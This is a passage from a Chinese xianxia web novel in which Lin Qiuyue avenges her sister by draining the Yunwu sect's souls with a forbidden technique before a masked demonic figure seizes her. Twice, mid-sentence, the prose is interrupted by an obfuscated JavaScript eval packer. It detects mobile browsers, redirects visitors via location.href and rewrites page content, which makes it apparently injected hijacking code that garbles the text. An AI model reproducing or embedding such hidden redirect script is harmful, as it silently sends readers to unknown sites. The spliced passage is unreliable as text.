林秋月看着那双亮晶晶的眼,脸上虽然神情自若,但心中这一下却忽如万树银花齐放,她情不自禁地想着,谁说这呆子呆的,这呆子可太不呆了!! 既然已经送上门来了,就没有不摸的道理,但是直接摸了又很没有面子。于是林秋月眼珠一转顿了一顿,便想了个折中的法子,她面无表情,故作漠然地在他头上胡乱揉了两把,才收回手。 然后轻咳一声,淡淡道,“下次打人的时候,要先保护好自己,不要把自己弄得一身伤了。” 凌川眨眨眼,简直不敢相信自己听见了什么,是他多想了吗?为什么他会觉得她在关心他?她的神情,她的语气,别扭又温柔。 林秋月看着他这柔软温热又明亮的目光,有些败下阵来,她别开眼,生硬地解释道:“你不要多想,因为你是我带回来的,我就要对你负责,你要是受伤了我就得来给你上药,累。” 凌川不傻,他自然看得出林秋月的恼羞成怒,从来没有人对他好过,于是在林秋月这生硬别扭的温柔中,他的眼眶蓦地便红了。 恍惚间又见他这副模样,林秋月脸色一僵,她皱着眉头嫌弃道:“喂,你怎么回事?怎么就又哭了呢?我又没欺负你,不能哭,我刚给你上的药啊,等下白上。” 凌川被她这话逗得一乐,没忍住,又噗嗤一声笑了出来,又哭又笑的模样,让林秋月心中更骇了,她倒抽一口冷气,严肃道:“好了,不许哭,你是个男孩子,哭哭啼啼像什么样子。” 凌川抬眼看她,半晌,抬手擦了擦眼泪,认真地点头道:“嗯,我不哭了。” 第二日,凌川被林听晚叫进飞羽门的议事大殿中。 凌川走进大殿之中,殿内静悄无声,只有林听晚坐于门主首位之上。他走过去,朝着她抱拳弯腰行了一个作揖礼,声音恭敬:“门主。” 林听晚闻声抬头,见他前来,放下了手中的卷宗,朝他微笑道:“凌川,你来了。你可知我今日传唤你前来所为何事?” 凌川保持着弯腰低头的姿势,回答道,“是昨日我出手伤害同门,触犯了飞羽门戒律。” “嗯,伤害同门,触犯了戒律,理应当罚。”林听晚点着头,顿了顿,话锋一转,又笑道,“不过你猜错了,你昨日已经自行去戒律庭领过罚了,所以我自然不会再罚你。” 闻言,凌川疑惑地抬起头来,问道,“那门主今日唤我是前来所为何事?” “你来飞羽门也已经有一段时间了,长老与我说你天赋异禀,是个不错的好苗子,既如此我自然不能让明珠蒙尘,我看过你根骨灵力了,与我和秋月的倒是适配,”林听晚轻声道,“所以我有心收你为徒,往后与秋月一起,一同在我门下修习,不知你愿不愿意?” 林听晚静静地看着面前的凌川,等待着他的回答。而凌川也怔怔地望着林听晚,眼中先是不可置信,然后变为惊喜,他跪了下去,朝着林听晚长磕而下,几乎是毫不迟疑地答道,“我愿意。” 后来他在飞羽门所有人面前与林听晚行了拜师礼,拜师礼后,他随她一起走在了飞羽门的林荫小道里。两人停在一座木制的小拱桥上,桥下锦鲤悠游自如,林听晚静静地看了一会儿,又将目光投向远处。凌川顺着她的视线望去,他知道,那是林秋月的院子。 微风轻轻拂过,林听晚眨了眨眼睛,收回了视线,默默道,“凌川。” “是,师父。”凌川闻声回头,朝着她微微颔首。 林听晚顿了须臾,轻轻叹了一口气,继续道,“其实我收你为徒,一方面是因为你的天赋,另一方面,是我的私心。你来了这么久了,应该也知道秋月的身世了。” 凌川沉默片刻,低声道,“知道。” “因为这些原因,所以秋月的性子从小就与别人不同,我想让她多交些朋友,可是她从来都没有对谁表现过友好,你是第一个。”林听晚静静地说着,“是遇见了你之后,她才有了伴,才活泼开朗了许多,我看得出来,你是个好孩子,对秋月也很好。” “飞羽门的情况你也知道,内斗不断,表面平和,背后却暗流涌动,”林听晚道,“长姐如母,秋月是我从小拉扯长大的,可是我能护住秋月一时,却护不住她一世……” 闻言,凌川猛地抬头看向林听晚,看着她眸中的郑重,他惶恐地跪下,“师父。” “跪着做什么,起来。”林听晚看着跪在面前的少年,皱了皱眉头。凌川垂落睫毛,依旧是颔首跪着,不敢起身。见状,林听晚一声叹息,“罢了,就算你跪着,也改变不了这些事实。我要说的也就是这些,我希望你能陪在秋月身边,别看她那副模样,其实她很怕孤独的,所以,凌川,你能答应我吗?不管以后发生什么,不要让秋月一个人。” 凌川跪在林听晚面前,半晌,他开口了,语气里满是庄重与严肃。 “师父放心,我会永远陪在姑娘身边。” 我会永远陪在姑娘身边。而此时此刻,在茳洲的云雾宗里,凌川看着金色阵法中淡淡笑着的林秋月,他忽然又想起了这句话。如果没有云雾宗,没有贺景文,没有后来发生的所有事,他与他的姑娘,他的师父,就不会是现在这副模样了。 他们会如往常一般,在晨曦里一起练剑,在霞光中相视而笑,在夜色下一起看星星…… 可是,这样的日子,再也不会有了,林秋月不是之前那个狡黠爱使小坏的姑娘了,他也不是之前那个爱哭木愣的小呆子了,这一切,都随着林听晚的离去而一起离去了。 而幻境并不会因为他的心疼,他的愤怒就停下来,它仍然在继续上演着,将当年那些他们不愿意再回想起的记忆再一次血淋淋地摊开在了他们面前。 血镜中,飞羽门的校演场上,杀戮还在继续着。林秋月坐在了门主尊位上,看着所有不服从于她的人统统被斩杀殆尽,直到最后一个长老倒下,她才闭了闭眼。 良久,复而睁开,微微抬首,漠然道:“好了,烧了吧。” 随从们颔首领命。 熊熊大火燃起,林秋月坐在那里,凌川静静地立在她身边,两人心如止水地看着面前的烈火高高冲起,吞噬着这疯狂的一切。 不知看了多久,林秋月才缓缓起身,凌川跟在她身边,与她一同离去。 画面随着他们的离去而缓缓变黑,不过须臾,又复而亮起。这次出现的是一个偌大寒冷的地下冰室,空旷无人的冰室中,白绸轻轻飘荡,一具冰棺摆放在冰室中央,随着画面的拉进,所有人都能看到,躺在其中的人,正是林听晚。 千年寒冰砌铸而成的冰棺散发着丝丝缕缕的寒气,林秋月僵坐在冰棺前,愣愣地盯了林听晚良久。 那日,是林听晚灵力最薄弱的时候,这期间,她必须要靠闭关静修才能渡过,而且不能被任何人打扰,所以那次,她那三个蠢货哥哥又发动事端之时,她并没有第一时间想到这其中有诈,而是把这当做以往一样的骚乱。 为了不让林听晚被打扰,她与凌川第一时间便带人前去平息事端,直到那溶于飞羽门门主骨血灵力之中的万雷剑法与飞羽门门主令传到了她的手中,她才猛然惊醒,这并不是一次普通的躁乱。 林秋月瞳孔骤然紧缩,一个可怕的念头从心中升起,然后猛地炸开。恐怖的感觉散至她的四肢百骸,她几乎是瞬间回头,朝着林听晚的方向迅速跑去。 可惜,还是晚了一步。看着她的身影倒在血泊里,林秋月全身的血液都凝固了般,她看见贺景文的那一刻,想杀他的心情霎那间到达了顶点。但她到底还是个不显于色的人,理智大于冲动,在这种情况之下,她还是忍了下来。她在心中告诉自己,还不能杀他,直接杀了他那是一种解脱,而且后续造成的后果不可估量,她必须要忍,她要让他们付出更沉痛的代价。 冰棺面前,林秋月颤抖着抬起手,朝着林听晚探去,在空中僵了一瞬,最终还是朝着她碰了过去。她握了握她的手,这只手冰凉、僵硬、苍白,它静静地搭在那里,再也不会动了。 她就这么握着,不说话,也不哭,就这么握着。 “门主。”不知过了多久,凌川抱着一件狐裘走了进来,他看着林秋月的身影,张了张唇,最终什么也没说,只是走了过去,将那件狐裘大麾披在了她的肩头。 做完这一切后,凌川便默默地站在了她的身旁,无言。 又过了很久很久,林秋月才眨了眨眼睛,她没有流泪。反而抬手,伸向了林听晚的发鬓,将发鬓之中的那支蝴蝶珠钗取了下来,握在手中,半晌,将它簪入了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239766|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的发鬓之中。 她起身,看向凌川,一开口,声音都是嘶哑的,“贺景文呢?” “回去了,”凌川答道,又将手中的那卷书籍递了过去,“他让我把这个交给你。” 林秋月伸手接过,那书卷正是那时林秋月给贺景文的那卷万雷剑法。她目光锁定在了这本剑术秘籍上,半晌,嗤笑一声,“他还说什么了吗?” 凌川沉声道:“他说门主的诚意他已经看到了,所以为了合作愉快,他也奉上他的诚意,将万雷剑法送还给我们,还望门主要记得自己的承诺,他在茳洲等着我们。” 听到这儿,林秋月冷笑道,“什么诚意,说的比唱的好听,无非就是他打开了这万雷剑法,却看不懂其中的深奥罢了。万雷剑法的精髓一直都是飞羽门历代门主所守护的机密,除了传位继承的门主外,没有人能看懂这套剑术,若是飞羽门没了,这套剑术自然也会随着飞羽门一起湮灭。” 凌川沉默了一瞬,只问道,“那门主你会将万雷剑法教给贺景文吗?” “教啊,为什么不教?他不是想学吗?我这个人一向说话算话,”林秋月笑着,从一旁拿起了另一册书卷递给凌川,“过几日你替我去一趟云雾宗吧,就按照这个教给他们。” 凌川接过那书卷,翻开看了看,只看了一眼,他就面色凝重了起来。那上面记录的竟然是万雷剑法的招式与要点,可再仔细一看,却又与他跟着林听晚学的万雷剑法有些不同,他愣愣地,问道,“这是?” “这是我根据万雷剑法创出来的另一版,大致上与我们使出来的剑法是如出一辙的,但只是空有其表罢了,只要不遇上高手,对付一般的小修弟子足够了,云雾宗不擅剑,短时间内发现不了什么,而我也不会让他们有发现的那个时候。”林秋月喃喃道,“他们不是想平步青云重回巅峰吗?那我就满足他们。” “那为什么不直接杀了他们呢?还要如此大费周章?” 林秋月笑了起来,她慢慢地走过去,拍了拍凌川的肩膀,“呆子,你不懂,站得越高才能摔得更惨。直接杀死他你不觉得太便宜他了吗?我们的仇人可不止他一个,我要让整个云雾宗都付出惨重的代价。” 凌川站在原地,看着她嘴角的狞笑与眼中扭曲的恨意,静默片刻,他沉声道,“不管你要做什么,我都会永远站在你身后,我会永远追随门主。” 林秋月没有说话,她只是静静地看着他,乌黑的眸子中深不见底。 这两段回忆到这里也算是结束了,看到林秋月的回忆,四周的修士大部分都睁大了眼睛,心中愕然。 一方面是对林秋月的震惊,小小年纪,却有如此头脑,如此修为,还有如此的忍耐心,日日夜夜看着仇人在眼前晃荡却还能忍到最后,这需要多么冷静强硬的心理才能做到?另一方面,则是因为看着这些辛丑秘闻,震惊于同样身为六大门派之一,云雾宗的脸皮是真的厚出了天际了,怎么能这么厚颜无耻呢? 看到了这些真相震惊的同样还有被凌川禁锢在结界中的圣辉长老一行人,他们看着这些画面,看着林秋月脸上的笑意,不由得怒火中烧,他们双目赤红,歇斯底里地咆哮着,“林秋月!!你竟然一直在骗我们!!你这个贱人!!你这个疯子!!你丧心病狂!!你毁了云雾宗,我做鬼也不会放过你的!!” 林秋月微微挑眉,摇摇头无奈地一声叹息,半晌,笑眯眯道:“你们还真是蛇鼠一窝,连说出来的话都如出一辙,你们从前杀不了我,现在依旧杀不了我,还指望做鬼之后能杀了我?真是可笑。” “贱人!!啊啊啊啊!!贱人!!”他们大喝着,声音嘶哑,目眦尽裂,饱含着冲天的恨意与怒火。 林秋月皱了皱眉头,又伸手摸了摸耳朵。语气自然,一如从前,朝着一旁的凌川埋怨道,“凌川,好吵。” 闻言,凌川点了点头,然后上前一步,手指凌空一点,结界内的几人瞬间噤声,只能干瞪着眼睛,不断地扭曲着身体,拍打着那结界。站得近的修士看着结界中这几个如疯子般在挣扎的云雾宗长老,顿时也是直皱眉头。 秦湘看完了方才的幻境,此时又看着结界中的几人,她皱了皱眉头,总觉得有哪里不对劲。 长锦见她神情凝重,目光在林秋月与凌川还有云雾宗众人身上打转,便悄声问道,“怎么了?” “我觉得有些不对,就从方才那一节来看,林秋月选择忍下来,是因为她想在天下人面前让整个云雾宗身败名裂,再无翻身的可能,她说她要让他们付出惨重的代价,可到现在为止,除了死了的贺宗主与贺夫人,云雾宗其他人都还好好的,”秦湘按了按疯狂跳动的右眼皮,“不知为何,我总觉得林秋月如此大费周折,要做的绝对不止于此。” 77.噬魂大法 长锦道:“你觉得她像是在拖延时间?” “嗯,有点像,我还总觉得这个阵法也有些问题,而且那时候他们说的那句‘一个不漏,安置妥当’着实是让我有些不安,”秦湘顿了顿,但此时又看不出来林秋月到底要做什么,沉吟片刻,她叹息道,“算了,希望是我想多了罢。” 长锦听她这样说,又看着她眼中的不安,顿了顿,伸手轻轻拍了拍她,温声安慰道:“没事,想不出来就先不想了,兵来将挡水来土掩,我们走一步看一步。” 秦湘轻叹一声,将拧紧的眉毛松开,朝他展颜笑了笑,闷闷地应了声“嗯。” 言毕,她又将头转了回去,重新看着血镜中出现的新的画面。 这次出现的画面时间很近,场景看上去像是上个月在苍龙山举办的群英论剑大会。清虚门为各大门派准备的房间里,林秋月正坐在桌边,刚伸手为自己斟了一杯茶,门就被人一把推开,贺景文焦急地走了进来,在林秋月身边坐下。 林秋月动作一顿,不咸不淡地掀起眼帘朝他一瞥,“怎么了?” 贺景文朝着她身后站着的凌川看去,林秋月看着他这副欲言又止的模样,心中明了,于是微微抬头侧首,朝着凌川道,“凌川你先出去吧,在门口守着,不要让任何人进来。” 凌川的目光在两人身上停留了一瞬,抬手抱拳行了一礼,然后才抬脚离去。 门扉轻轻关上,房间里只剩下两人相对而坐。林秋月不紧不慢地喝了一口茶,“说吧,你要干什么?” 贺景文这才从衣袖之中摸出了一张书笺,放到了林秋月面前,书笺上,凌川两个字映入眼帘。 林秋月怔了一瞬,旋即轻笑一声,“手气不错,竟然抽到了凌川。” 贺景文盯着她,声音低沉且不容置喙:“下午的比试,我要赢。” “噗——”林秋月仿佛听见了什么笑话似的,没忍住,好半晌,才直接道,“你赢不了他。” 贺景文的目光依旧死死地盯着她,他看着她的脸,试图将她的每一个表情都收入眼底。他一字一句道,“但是你可以让我赢他。” 房间一时陷入寂静,林秋月没回答他,只是眼中的笑意渐渐凉了下去。虽然她知道让贺景文直接赢得这场比试会对她的计划大大有利,但是,一想到让凌川输给这种人,还真是有点不爽啊。 于是她沉默半晌,才开口,声音平缓,无波无澜,“我可以让你赢他,不过你确定你要这么做?凌川的剑术你是知道的,若是这场你赢了他,势必会引起一番骚动。有时候,操之过急,太引人注目也不是一件好事情。” 贺景文此时已经尝到那种重回大众视线的甜头,听得林秋月这么说,他倏尔便炸了,直接反驳道:“这些你就不用管了,反正你和凌川说,下午的比试,我一定要赢。” “赢了凌川,后面的复赛遇见的高手只会越来越多,他们不是凌川,到时候可不会说让你。” “以后的事以后再说,到时候我自有其他办法对付他们。”贺景文皱着眉头,不耐地摆摆手,顿了顿,他忽然又将目光缓缓移到了林秋月脸上,试探着开口道:“秋月,你这么劝说我,不想让凌川败给我,你?就这么怕他受委屈?” 林秋月几不可闻地怔了一瞬,然后面无表情地看向他,“你想多了,我只是担心你如此操之过急,站得越高风越大,若是没有这个实力站稳,摔下来了那可就是万丈深渊,粉身碎骨。”顿了顿,她又用她那一贯懒洋洋的神情笑道,“不过若是你这么在意凌川的话,那我就让他永远消失在你面前,可好?” 这话一出,不仅画面里的贺景文呆住了,就连画面外的众人也都蓦地睁大了眼睛。想到飞羽门惨死的那些长老弟子还有她的亲哥哥,他们再看向凌川的眼神就多了几分怜悯了,而凌川站在那,对这些向他投射过来的目光视若无睹,立在原地,目光之中映着的,只有那阵法中央的林秋月。 秦湘看到此处,却明白了林秋月这话中的意思。 让凌川永远消失在贺景文面前,换一种说法,不就是让贺景文永远消失在凌川面前? 可能在那个时候起,林秋月就已经对贺景文起了杀心。群英论剑大会让云雾宗的名气小小地噪了一把,贺景文赢了凌川,本来按照他自己的想法,便是神不知鬼不觉地用雾隐针来为他接下来的比试取胜,好让云雾宗的名气更快地打出去,然后重回大众视野。 岂料之后的第一把便碰上了秦湘,不仅名气没有打出去,反而还弄巧成拙。为了不让这点热度过去,他必须牢牢抓住机会,故而就提前了与林秋月的婚期,借两大门派联姻的噱头,大张旗鼓,广邀天下英杰。 可他怎么也没想到,林秋月与他虚与委蛇这两年,为了就是这场婚宴。 本以为是平步青云,到头来,不过是镜花水月,因果报应。 血镜中,贺景文被林秋月这句突如其来的话惊得久久都回不过神来,看着她嘴角的笑,他忽然就有些害怕与慌张。她是个疯子,明明前一刻还在与你笑着,下一刻,长剑便能毫不犹豫地扎进你的心里。 贺景文眨了眨眼,对上林秋月含笑的眼眸,沉默片刻,不自然地挪开了视线,似是不在意地道,“不用,我也没有说要他的命,他修为不错,留着他还有用处。” 比起他的僵硬来说,林秋月倒是从容地多,闻言,她笑着应他,“行啊,你说怎样就怎样,下午的比试,我会与凌川说的,你会赢的。” 这段回忆的最后,是林秋月嘴角淡淡的笑,她坐在那,端着茶杯,看着贺景文离去的背影,眼中渐渐浮现出的森然寒意,是那么地直白清晰,毫不掩饰。她嘴角的弧度缓缓放平,仿佛一切尽在掌握之中。 所有的记忆到这算是完全结束,天穹中那块如帷幕般的血镜此时也终于落幕,一切又化为了虚无。林秋月双手结印,空中那光华四溢的血镜又重新地旋转分离,变回了两滴鲜红的血珠,消失在了众人眼前。 这场揭开飞羽门内斗真相与云雾宗真实面目的大戏,让在场的所有人都几乎震惊不已,尽管已经结束,四周的气氛却还一时陷入了沉寂,所有人都僵在原地,还没从这一个接一个的真相中回过神来。 所以,谁也没有察觉到在他们身后,无数条散发着绿色光华的灵流连接着地面,在华羽殿的上空如蛛网般散开,又朝着林秋月脚下的法阵汇聚而来。直到被凌川禁锢在结界之中的圣辉长老忽然跪地,神情痛苦,直到云雾宗弟子们一声又一声哀叫声传来,长剑哐当落地,纷纷跪倒。 四周的修士才猛然回神,满脸惊恐:“怎么回事?那是什么?!” “华羽殿上空也有!!” 在众人面前,凡是云雾宗的弟子纷纷哀嚎着倒地,神情痛苦不堪,一条条细小的绿色灵力光芒从他们的心脏处不断抽离而出,然后朝着林秋月所在的位置不断飞涌而去。 看着这幅场景,林秋月静静地立在原处,她顿了顿,忽而却笑了。这笑与她往常所有的都不同,绿色的灵流倒映在她的眸中,将她眼中的疯狂与偏执照得那么清晰。她闭了闭眼,轻轻道:“姐姐,我会让你回来的。” 秦湘简直惊呆了,那是怎样一幅可怕的场景。夜空中,无数绿色的灵流交汇着,如一条条扭动着的蛛丝,又如傀儡娃娃身后的那一条条丝线,那光线一端连接在云雾宗众人的身上,另一端则汇聚在了林秋月手中,一时之间,整个云雾宗,都像是林秋月把玩着的掌中之物。无论他们逃到何处,都永远逃离不出那灵流丝网的控制。 她将目光转回来,移到了林秋月身上,看着她脸上那如痴如狂的神情,秦湘心中粟然。 “林门主,你是想杀了云雾宗所有人,来为你姐姐陪葬吗?” 闻言,林秋月抬起眼来,看向她,微笑道:“不,我要用他们所有人的命来换回我姐姐的命。” 话音一落,她抬手做爪,朝着一旁瘫软在地要死不活的贺景文凌空一抓,一道绿色的灵流从她掌心发出,猛地刺向贺景文的心脏。贺景文双目骤然睁大,身体也随之弓起。 随着一股更强的灵力的送出,贺景文发出了一声撕裂苍穹的惨叫。秦湘浑身一震,她不可置信地看着面前的情形,脸上的血色也瞬间褪去,只余煞白,好半晌都回不过神来。 在她面前,她看见贺景文的魂魄被林秋月硬生生地从躯体之中抽离了出来,那虚无飘渺的魂体还保持着生前最后的模样,张着嘴大叫着,那痛苦扭曲的声音几乎回荡漂浮在了整个阵法的上空,尖锐刺耳,令人生寒。 林秋月皱着眉头,毫不在意地将五指合拢,贺景文的魂魄在这强大的灵力光华压制下,逐渐散去人形,最后,化为了一团细小的绿色萤光朝着林秋月的掌心飞涌而去。 “噬魂大法……”身旁有千机阁的弟子脸色惨白,全身颤抖,喃喃道。 秦湘头皮炸麻,猛地扭过头去,“你说什么?!” “这是噬魂大法啊!是禁术!”那弟子眼睛发直,怔怔地盯着空中那些连接在云雾宗弟子心口处的绿色光线,声音颤抖着,“这阵法可以以自身魂魄为引,吸收吞噬他人的魂魄,一旦被这术法缠上,魂魄就脱离了六道之外,再无轮回之说,会永世不得超生啊!!” 听闻此话,众人皆惊!!秦湘看着空中那源源不断被林秋月抽离出来的云雾宗一众修士的魂体,面色一沉,抬手就召出了烈云长剑。红色光华席卷着剑身,剑气荡出,朝着那些绿色光线猛然劈去。 “铛!”地一声,剑刃与那光华相接。在烈云剑劈上去的那一瞬间,那些绿色灵流迅速交汇交织在了一起,然后在空中形成了一个绿色的灵光结界,保护着林秋月脚下的阵法与那些在空中扭曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而此时,林秋月站在阵法中央,展开双臂,铺天盖地的魂体们哀嚎着,带着死前的满腔怨气,如同狂风暴雨般向她袭去,一个一个地融进了她的身体之中。每融进一个,她就觉得自己的灵魂仿佛被撕裂般,但是这些她都能忍,必须撑住,只有这样,她才能有足够的力量让姐姐回来。 突然,一个魂体猛地朝她冲来,林秋月心脏一痛,眉心紧蹙,被这怨灵之气逼得生生后退了几步。她紧咬着牙稳住脚步,眸中一发狠,周身祭出了一层更强的灵力光辉。 秦湘看着这个场景,连忙上前,朝着林秋月喝道:“林秋月!快停下来!你撑不住的,它们会将你撕碎的!!” 林秋月此时却什么也听不进去,她的眼中,只有那无数朝她飞扑过来的魂体,那是力量,能让姐姐复活的力量,她等这一刻等了两年了,又怎么可能撑不住,又怎么可能停下来! 见她一意孤行,秦湘眉心紧皱,暗骂一声,她想做些什么,但是却又什么都做不了,无能为力的挫败感从心底散开。忽然,一道极强的金色闪电灵力从秦湘身后劈来,狠狠地撞击在了林秋月面前的阵法结界上。 凌川猛地掠了过去,他脸上闪烁着疯狂而又绝望的神情,看着林秋月嘴角渗出的血液,他更是双目赤红,悚然色变,狠狠地拍打着面前的结界,喝道:“林秋月!!” 所有的感情全部在这一刻决堤,他双目猩红,不住地锤着那将他与她阻隔开来的结界。 为什么会这样?!为什么会这样?!明明一开始她与他说的计划不是这样的!!他知道她与云雾宗的仇恨太深了,她想杀了云雾宗所有人,不管她要做什么,他都会毫不犹豫地选择站在她身边,这次也是。 她若是选择站在黑暗里,不留任何余地,没有任何退路,当着所有人的面,亲手灭了云雾宗满门。那他亦不会站在光明中,就算是刀山火海亦无所惧,凌川会永远守在林秋月身边。 他本来都想好了,不管做什么他都会陪在她身边,不管后果是什么,是天下的鄙夷唾弃还是杀人偿命该受的惩罚,他都陪着她。可是,为什么到最后会发展成这样!为什么!! “林秋月!!”凌川怒喝着,“你停下!!”看着那怨灵不断地冲击着林秋月的身体,她的脸色越来越白,凌川几近疯狂,他喊着,锤着,砸着,“林秋月!!林秋月!!” “呆子,不要再喊了,”林秋月抬起脸来,朝他露出了一个温柔的笑,“你放心吧,我不会死的,我会活着,将姐姐带回来……然后,我们再一起回飞羽门,一起回家。” 说罢,她转过眼去,将目光移到空中,不再看他。 林秋月看着空中嘶吼着的怨灵魂体,眼中满是势在必得之意,她嗤笑一声,“我说过,做人时你们杀不了我,做鬼时,就更加别想杀我!” 她咬着牙,双手结印:“九天之上,万钧雷霆,以我之名,开!” 78.死尸之城 随着林秋月一声咒决祭出,她周身登时炸开了一层耀眼夺目的金色光华,最开始被她投入阵眼之中的那把雷鸣长剑感受到了主人的召唤,震发出了一阵危险的低鸣。大地震颤,几许沉默,随之破土而出,金光璀璨! 天空中黑云滚滚,伴随着轰隆隆的雷声,无数道闪电犹如千军万马般朝着林秋月劈来。有了这万钧雷霆的力量的倾助,林秋月的灵力瞬间强悍到了一个让人望而生畏的地步。 这压迫性极强的灵力让在场的修士都顿时胸口一阵闷痛,眼前发黑,几乎是喘不过气来的压力。甚至有修为不高的修士已经赫然倒地,神情痛苦地看着面前的光景,心慌意乱的同时,亦是目瞪口呆心中粟然—— 小小年纪,林秋月修为灵力的强悍程度未免也太可怕了些,飞羽门中,还从未有过谁的修为灵力能强悍至此,能直接召唤九天神雷!! 而阵法里,林秋月以法器为引,召唤出了九天之上的雷霆之力与自身灵力相共鸣,在这一刻,又将自身所有的灵力全部祭出,压制住了云雾宗那成千上万的怨灵之力。她咬着牙,金色的光华从她掌心不断输出,额间也不断渗出细密的汗珠。 林秋月抬起头,腥甜的血液从嘴角流淌而出,她脸色煞白,声音颤抖,“收!” 随着她这一声喝出,金色光芒也亮到了极致,无数的怨灵魂体也在这一刻顺着空中的那绿色灵力纽带,尖叫着朝着林秋月飞扑而去!霎那间,金色与绿色的光华相碰撞,亮如白昼,而林秋月,也瞬间被这盛大的光华所淹没。 面前的结界渐渐消失,散成了细碎的星辰飘散在了风中。凌川看着面前被无数魂体穿过,淹没在光华中的林秋月,霎时间,脑中一片空白,瞳孔骤然紧缩。他抖着嘴唇,缓缓伸出手,那一向沉稳的执剑之手此时更是抖得不像话,似是不敢确认般…… “林秋月!!”他嘶吼着,看着眼前刺眼的光芒,六神无主茫然无措地冲过去,他踉跄着…… 光芒渐渐淡去,林秋月的身影渐渐清晰,她手扶长剑,单膝跪倒在地。浑身是血,那些伤都是怨灵魂体融入她体内时所带来的怨气之力造成的,如无数把罡刀般一刀一刀在她的身体上留下的痕迹。 她跪在那儿,微微抬头,看着朝她飞奔而来的凌川,竟然露出了一个轻松淡然的笑来。那笑容,就像是多年前她与他初见那般,灿烂狡黠。 她缓缓地伸出手去,眼前阵阵发黑,在意识陷入混沌之前,喃喃开口:“呆子……” 凌川脚步一顿,看着林秋月缓缓倒地,他的长剑哐当落地,“林秋月!!!” 他疯了一般地奔了上去,然而还没等他冲到她身边,天空中却忽然一记闷雷炸响,一道巨大的蓝色光柱从天而降。光芒所及之处,掀起了一阵罡风,直逼得所有人都抬手掩面,释放出灵力来抵挡,尽管这样,但这如刀风剑气般的光芒还是轻而易举地将他们掀得一连后退了数尺!! 等到光芒散去,众人抬头望去,才猛然发现,光柱之中,竟然漂浮着一个人!! 那人一袭黑衣斗篷,整张脸藏在宽大的帽兜之下,令人看不真切。他于那蓝色光柱中缓缓降落在林秋月面前,然后走上前去,将昏倒在地的林秋月一把挟起。 在所有人都还没有回过神来之时,凌川是第一个反应过来的,他眼中猩红,足尖一点,疾掠而上,“放开她!!”随着他的嘶吼,方才被主人慌乱之间丢掷在地的长剑也颤抖着发出低鸣声,须臾之间,便飞回到了主人手中。 凌川手握长剑,眼中燃烧着疯狂的火焰,似是要把所有残存的理智烧戮殆尽。金色雷电席卷剑身,他飞身举剑直劈而上,顷刻之间已是直逼那人身前,剑尖直取他的要害。 那黑衣人却连头都没有回,只是微微一侧首,指尖轻轻一抬,凌川便如同被罡气掀飞般,直直后退数尺。他咬着牙,狠狠将剑插入地面,才堪堪稳住继续后退的身形。 他抬起头,看着被他抓在手中的林秋月,额间青筋暴起,“你放开她!!”又是直冲上去。 那黑衣人偏头躲过了他这一剑,翻手做爪,将他凌空扼住提在空中,森然道:“这小姑娘帮我做成了大事,所以看在她的份上,我暂时不杀你,但是你最好也别挑战我的耐心。” 他说罢,将他狠狠一甩,重重地砸落在了地上。 凌川的身手修为在修仙界一众青年弟子中也是排得上号的,可在这黑衣人手中,他却完全不占一点上风,被单方面碾压至此。看着站在那光柱之中的黑衣人和掉落在地浑身是伤的凌川,周围的修士几乎都双目圆睁,惊愕至极。 在这所有人都目瞪口呆的情况之下,只有一人,手召长剑,毫不犹豫,疾掠而上。 这一击是所有人都始料不及的,众人甚至都没看清那个身影是怎样出去的,等他们反应过来之时,长锦已经手握渡天长剑,闪至了那黑衣人的面前。 长锦不是凌川,纵然那黑衣人修为再如何强悍通天,也招架不住神明的一击。他一手将林秋月举在身前,一手抬起释放灵力,在长锦与他面前落下了一道防护结界。 “铛”的一声,剑刃与结界相撞,甫一撞上,长锦便感觉到了这灵力之中蕴含的那缕熟悉的阴寒气息,那是魔气,是来直接自于魔主身上的魔气。 长锦冷冷地盯着面前的人,那人脸上带着一张沉重的覆面,只余一双漆黑的眼睛,此时也正阴沉不避地直视着他,半晌,轻笑一声,用只有他们两个人能听见的声音冷然道:“神明长锦,席清长老,厄运之门守护神,初次见面,你好啊。” 这语气怪腔怪调,再配上他那眼中的笑意,无端让人血液凝固,遍体生寒。 长锦神情冷戾,不理他的问候,只是道:“魔主呢?!” “哼哈哈哈哈哈哈!”闻言,那黑衣人也不答,只是爆发出一串让人头皮炸麻的冷笑,笑了一会儿,他慢条斯理道,“魔主?等我将他放出来了,你不就知道他在哪里了吗?哈哈哈哈哈——不要心急,神君,很快,你就能见到他了。” 长锦一怔,眉宇间阴云密布,他一言不发,手上的渡天长剑再度发出阵阵嗡鸣,光芒大炽。 黑衣人撤了结界,拉着昏死过去的林秋月一路躲闪。他侧身躲过长锦横劈而来的两击,有了体内魔主魔气的加持,他竟也能与长锦打过几个回合。 两人在蓝色光柱之中一连过了好几招,神魔交战,灵力之大盛强悍。如果说方才林秋月召唤九天神雷时爆发出的灵力已经让众人有些难以招架了,那么现在长锦与这个黑衣人战斗爆发出的灵力就更加是恐怖到了一个极致的顶点高度。 天空中黑云滚滚,四周狂风大作,这场景架势,一时宛若浩劫降世。众修士站在原地,也不得不挥手开出结界,来以抵抗这灵流所荡出的余波压力。 秦湘与秦叙也挥手开了防御结界,看着不远处一个灵力薄弱此时已嘴角溢血的修士,她咬咬牙,正准备挪过去将他拖进结界里时,却已有一个符咒先她一步,落在了那修士头顶,将他笼罩其中。 秦湘偏头往那个方位去看,看见了护着沈清桐一路过来的周楚闵,她一怔,连忙朝着两人大喊道:“师兄,清桐姐姐。” 周楚闵闻声一怔,开着结界拉着沈清桐一路朝着这边几人走来,刚走到几人身边,还未开口说话,站在秦叙身边的乔修远便先行开口了,“楚闵?你们怎么来了,华羽殿怎么样了?有没有看见玉洲和我夫人?” 